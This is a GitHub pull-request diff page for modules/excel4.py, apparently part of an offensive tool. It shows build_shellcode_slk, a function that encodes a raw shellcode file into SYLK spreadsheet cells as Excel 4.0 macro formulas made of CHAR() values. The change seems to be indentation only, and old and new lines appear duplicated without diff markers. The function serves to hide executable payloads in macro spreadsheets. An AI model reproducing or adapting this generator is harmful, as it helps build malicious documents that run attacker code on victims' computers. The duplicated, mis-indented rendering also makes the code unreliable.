Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 16 additions & 16 deletions modules/excel4.py
Original file line number Diff line number Diff line change
Expand Up @@ -32,21 +32,21 @@ def build_shellcode_slk(shellcode_path):

slk_output = SHELLCODE_HEADER
with open(shellcode_path, "rb") as f:
byte = f.read(1)
i = 0
cell=0
while byte != "":
if i == 0:
byte = f.read(1)
i = 0
cell=0
while byte != "":
if i == 0:
cell=cell+1
slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
else:
slk_output+=("&")
slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
byte = f.read(1)
i+=1
if i == 20:
slk_output+=("\n")
i = 0
cell=cell+1
slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
else:
slk_output+=("&")
slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
byte = f.read(1)
i+=1
if i == 20:
slk_output+=("\n")
i = 0
cell=cell+1
slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell)))
return slk_output
return slk_output